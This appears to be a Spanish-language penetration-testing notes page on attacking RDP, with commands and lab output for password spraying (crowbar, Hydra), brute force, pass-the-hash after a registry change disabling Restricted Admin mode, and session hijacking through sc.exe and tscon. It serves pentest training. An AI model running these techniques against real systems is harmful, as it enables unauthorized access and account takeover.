🪬
Gzzcoo Pentest Notes
HomeWalkthroughs
  • Home
  • ACTIVE DIRECTORY PENTESTING
    • Initial Enumeration
      • Enumerating users
    • Abusing Active Directory ACLs/ACEs
      • Shadow Credentials
      • GenericWrite
      • ForceChangePassword
    • Active Directory Certificate Services (ADCS)
    • Attacking Kerberos
    • BloodHound
    • Tools
      • bloodyAD
      • Kerbrute
      • Impacket
      • ldapsearch
      • PowerView.py
  • WINDOWS PENTESTING
    • Windows Privilege Escalation
      • Abusing Tokens
      • AD Recycle Bin Group
      • DnsAdmins to DomainAdmin
      • Dumping credentials
        • Credential Hunting
        • LSASS
        • NTDS.dit
        • SAM and SYSTEM
      • Server Operators Group
  • Windows Lateral Movement
    • Pass the Hash (PtH)
    • Pass the Ticket (PtT)
      • From Windows
      • From Linux
    • Pass the Cert (PtC)
  • File Transfer
    • PowerShell
    • Remote Desktop Protocol (RDP)
    • LOLBAS
    • Protected File Transfers
    • Catching Files over HTTP/S
    • Detection and Evading Detection
  • Reverse Shell
  • PowerShell
  • LINUX PENTESTING
    • Basic Enumeration
    • Linux Privilege Escalation
  • File Transfer
    • Protected File Transfers
    • Catching Files over HTTP/S
    • GTFOBins
  • Shells
  • Reverse Shell
  • Credential Hunting
  • Passwd, Shadow & Opasswd
  • NETWORK SERVICES PENTESTING
    • FTP Port (21)
    • SSH Port (22)
    • DNS Port (53)
    • SMB Port (139, 445)
    • MSSQL Port (1433)
    • MySQL Port (3306)
    • RDP Port (3389)
  • PostgreSQL Port (5432, 5433)
  • Attacking Email Services
  • Pivoting, Tunneling and Port Forwarding
  • WEB PENTESTING
    • Local File Inclusion (LFI)
  • LaTeX Injection
  • Cypher Injection
  • Cross-Site Scripting (XSS)
  • TOOLS
    • John The Ripper
    • NetExec
    • Smbmap
    • Evil-WinRM
  • REVERSING
    • Windows executables and DLL's
    • Android APK
Con tecnología de GitBook
LogoLogo

© 2025 Gzzcoo Corp.

En esta página
  • Introduction
  • RDP Login
  • Misconfigurations
  • Password Spraying with crowbar
  • Password Spraying with Hydra
  • Brute Force with Hydra
  • Pass-The-Hash (PtH) with RDP
  • RDP Session Hijacking
  • RDP File Transfer
  • Mounting a Linux Folder Using rdesktop
  • Mounting a Linux Folder Using xfreerdp
  • mstsc.exe

¿Te fue útil?

Exportar como PDF
  1. NETWORK SERVICES PENTESTING

RDP Port (3389)

Introduction

Remote Desktop Protocol (RDP) es un protocolo propietario desarrollado por Microsoft que permite a un usuario tener una interfaz gráfica para conectarse a otro equipo a través de una red. También es una de las herramientas de administración más populares, ya que permite a los administradores de sistemas controlar sus sistemas remotos como si estuvieran físicamente allí. Además, los proveedores de servicios administrados (MSPs) suelen usar esta herramienta para gestionar cientos de redes y sistemas de clientes.

Sin embargo, aunque RDP facilita enormemente la administración remota de sistemas distribuidos, también introduce una puerta de entrada adicional para ataques.

Por defecto, RDP utiliza el puerto TCP/3389. Podemos identificar si el servicio RDP está activo en un host objetivo usando Nmap:

gzzcoo@htb[/htb]# nmap -Pn -p3389 192.168.2.143 

Host discovery disabled (-Pn). All addresses will be marked 'up', and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-25 04:20 BST
Nmap scan report for 192.168.2.143
Host is up (0.00037s latency).

PORT     STATE    SERVICE
3389/tcp open ms-wbt-server

RDP Login

rdesktop
gzzcoo@htb[/htb]$ rdesktop -u admin -p password123 192.168.2.143

Autoselecting keyboard map 'en-us' from locale

ATTENTION! The server uses an invalid security certificate which can not be trusted for
the following identified reasons(s);

 1. Certificate issuer is not trusted by this system.
     Issuer: CN=WIN-Q8F2KTAI43A

Review the following certificate info before you trust it to be added as an exception.
If you do not trust the certificate, the connection atempt will be aborted:

    Subject: CN=WIN-Q8F2KTAI43A
     Issuer: CN=WIN-Q8F2KTAI43A
 Valid From: Tue Aug 24 04:20:17 2021
         To: Wed Feb 23 03:20:17 2022

  Certificate fingerprints:

       sha1: cd43d32dc8e6b4d2804a59383e6ee06fefa6b12a
     sha256: f11c56744e0ac983ad69e1184a8249a48d0982eeb61ec302504d7ffb95ed6e57

Do you trust this certificate (yes/no)? yes
xfreerdp
xfreerdp /v:"10.10.10.10" /u:'user' /p:'password' /dynamic-resolution
xfreerdp3
xfreerdp3 /v:"10.10.10.10" /u:'user' /p:'password' +dynamic-resolution

Misconfigurations

Dado que RDP utiliza credenciales de usuario para la autenticación, uno de los vectores de ataque más comunes contra este protocolo es el password guessing (adivinanza de contraseñas). Aunque no es habitual, podríamos encontrarnos con un servicio RDP sin contraseña si existe una mala configuración.

Un detalle importante al hacer ataques de fuerza bruta contra sistemas Windows es tener en cuenta la política de contraseñas del sistema. En muchos casos, una cuenta de usuario puede bloquearse o deshabilitarse después de varios intentos fallidos. Para evitarlo, podemos aplicar una técnica específica llamada Password Spraying.

Esta técnica consiste en probar una única contraseña contra muchos usuarios antes de intentar con otra contraseña, teniendo cuidado de no disparar bloqueos por intentos fallidos.


Password Spraying with crowbar

gzzcoo@htb[/htb]$ cat usernames.txt 

root
test
user
guest
admin
administrator

Crowbar - RDP Password Spraying

gzzcoo@htb[/htb]$ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'

2022-04-07 15:35:50 START
2022-04-07 15:35:50 Crowbar v0.4.1
2022-04-07 15:35:50 Trying 192.168.220.142:3389
2022-04-07 15:35:52 RDP-SUCCESS : 192.168.220.142:3389 - administrator:password123
2022-04-07 15:35:52 STOP

Password Spraying with Hydra

También podemos usar Hydra para realizar un ataque de Password Spraying contra un servicio RDP.

El funcionamiento es similar al de otras herramientas de fuerza bruta: definimos una lista de usuarios, una contraseña específica (ya que en password spraying solo se prueba una por intento), el host objetivo y el módulo rdp.

gzzcoo@htb[/htb]$ hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-25 21:44:52
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8 login tries (l:2/p:4), ~2 tries per task
[DATA] attacking rdp://192.168.2.147:3389/
[3389][rdp] host: 192.168.2.143   login: administrator   password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-08-25 21:44:56

Brute Force with Hydra

No es muy recomendable por el problema que mencionábamos anteriormente, pero se podría realizar fuerza bruta entre un listado de usuarios y contraseñas.

gzzcoo@htb[/htb]$ hydra -L user.list -P password.list rdp://10.129.42.197

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-10 15:05:40
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 25 login tries (l:5/p:5), ~7 tries per task
[DATA] attacking rdp://10.129.42.197:3389/
[3389][rdp] account on 10.129.42.197 might be valid but account not active for remote desktop: login: mrb3n password: rockstar, continuing attacking the account.
[3389][rdp] account on 10.129.42.197 might be valid but account not active for remote desktop: login: cry0l1t3 password: delta, continuing attacking the account.
[3389][rdp] host: 10.129.42.197   login: user   password: password
1 of 1 target successfully completed, 1 valid password found

Pass-The-Hash (PtH) with RDP

Puede haber ocasiones en las que obtengas un NT hash de administrador local a partir de un volcado de SAM u otros métodos, pero no puedas descifrarlo para obtener la contraseña en texto claro. En algunos casos, puedes realizar un ataque Pass-the-Hash (PtH) en RDP para obtener acceso GUI al sistema utilizando una herramienta como xfreerdp.

El principal obstáculo para este ataque es el Modo de Administración Restringida (Restricted Admin Mode). Este modo está deshabilitado por defecto y evitará que inicies sesión con un NT hash.

xfreerdp3 /u:'User' /pth:'<NTLM_HASH>' /v:192.168.134.129

Sin embargo, con acceso de administrador local, puedes habilitar esta función agregando una nueva clave en el registro:

nxc smb 192.168.134.129 -u 'User' -H '<NTLM_HASH>' -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'

Una vez que se agrega la clave en el registro, puedes usar una herramienta como xfreerdp para obtener acceso por RDP sin necesidad de conocer la contraseña en texto claro de la cuenta:

xfreerdp3 /u:'User' /pth:'<NTLM_HASH>' /v:192.168.134.129

PoC (Proof of Concept)


RDP Session Hijacking

Imaginemos que hemos conseguido acceso a una máquina y tenemos una cuenta con privilegios de administrador local. Si un usuario está conectado por RDP a nuestra máquina comprometida, podemos secuestrar la sesión de escritorio remoto de ese usuario para escalar privilegios e imitar su cuenta.

En un entorno de Active Directory, esto podría permitirnos tomar el control de una cuenta Domain Admin o ampliar aún más nuestro acceso dentro del dominio.


Como se muestra en el ejemplo, estamos conectados como el usuario juurena (UserID = 2), que tiene privilegios de administrador. Nuestro objetivo es secuestrar la sesión del usuario lewen (UserID = 4), quien también está conectado vía RDP.

Para suplantar a un usuario sin conocer su contraseña, necesitamos tener privilegios SYSTEM y utilizar el binario de Microsoft tscon.exe, que permite conectarse a otra sesión de escritorio.

Funciona indicando el SESSION ID al que queremos conectarnos (por ejemplo, el 4 para el usuario lewen) y el nombre de nuestra sesión actual (por ejemplo, rdp-tcp#13).

El siguiente comando abrirá una nueva consola con el contexto del SESSION_ID especificado dentro de nuestra sesión RDP actual:

C:\htb> tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}

Si ya tenemos privilegios de administrador local, podemos conseguir privilegios SYSTEM usando herramientas como PsExec o Mimikatz.

Un truco sencillo es crear un servicio de Windows, que por defecto se ejecuta como Local System y puede lanzar cualquier binario con esos privilegios.

Para ello, utilizamos el binario sc.exe de Microsoft. Primero definimos un nombre para el servicio (por ejemplo, sessionhijack) y el binpath, que es el comando que queremos ejecutar. Al ejecutar el siguiente comando, se creará un servicio llamado sessionhijack:

C:\htb> query user

 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
>juurena               rdp-tcp#13          2  Active          7  8/25/2021 1:23 AM
 lewen                 rdp-tcp#14          4  Active          *  8/25/2021 1:28 AM

C:\htb> sc.exe create sessionhijack binpath= "cmd.exe /k tscon 4 /dest:rdp-tcp#13"

[SC] CreateService SUCCESS

Para ejecutar el comando, simplemente iniciamos el servicio sessionhijack:

C:\htb> net start sessionhijack

Una vez que el servicio se inicie, se abrirá una nueva terminal con la sesión del usuario lewen.

Con esta nueva cuenta, podemos intentar descubrir qué tipo de privilegios tiene en la red, y con algo de suerte, podríamos estar ante un usuario que pertenece al grupo Help Desk (con derechos de administrador sobre varios equipos) o incluso a Domain Admin.

Nota: Este método ya no funciona en Windows Server 2019.


RDP File Transfer

RDP (Remote Desktop Protocol) se utiliza habitualmente en redes Windows para el acceso remoto. Podemos transferir archivos mediante RDP copiando y pegando. Podemos hacer clic derecho y copiar un archivo desde la máquina Windows a la que nos conectamos y pegarlo en la sesión RDP.

Si estamos conectados desde Linux, podemos utilizar xfreerdp o rdesktop. En el momento de redactar este artículo, xfreerdp y rdesktop permiten copiar desde nuestra máquina de destino a la sesión RDP, pero puede haber situaciones en las que esto no funcione como se espera.

Como alternativa a copiar y pegar, podemos montar un recurso local en el servidor RDP de destino. rdesktop o xfreerdp se pueden utilizar para exponer una carpeta local en la sesión RDP remota.

Mounting a Linux Folder Using rdesktop

On Kali
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'

Mounting a Linux Folder Using xfreerdp

On Kali
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer

Para acceder al directorio, podemos conectarnos a \\tsclient, lo que nos permitirá transferir archivos hacia y desde la sesión RDP.

mstsc.exe

Alternativamente, desde Windows, se puede utilizar el cliente de escritorio remoto nativo mstsc.exe.

Después de seleccionar la unidad, podremos interactuar con ella en la sesión remota que sigue.

Nota: Esta unidad no es accesible para ningún otro usuario que haya iniciado sesión en la computadora de destino, incluso si logra secuestrar la sesión RDP.

AnteriorMySQL Port (3306)SiguientePostgreSQL Port (5432, 5433)

Última actualización hace 2 meses

¿Te fue útil?

Podemos usar la herramienta para realizar un ataque de password spraying contra el servicio RDP. En el siguiente ejemplo, se prueba la contraseña password123 contra una lista de usuarios (usernames.txt). El ataque logra encontrar las credenciales válidas:

Crowbar
Pass-The-Hash(PtH) with RDP!Medium
Passing the Hash with Remote Desktop | Kali Linux BlogKali Linux
Bypassing Authentication A Comprehensive Guide to Pass-the-Hash AttacksHornetsecurity – Next-Gen Microsoft 365 Security
Logo
Logo
Logo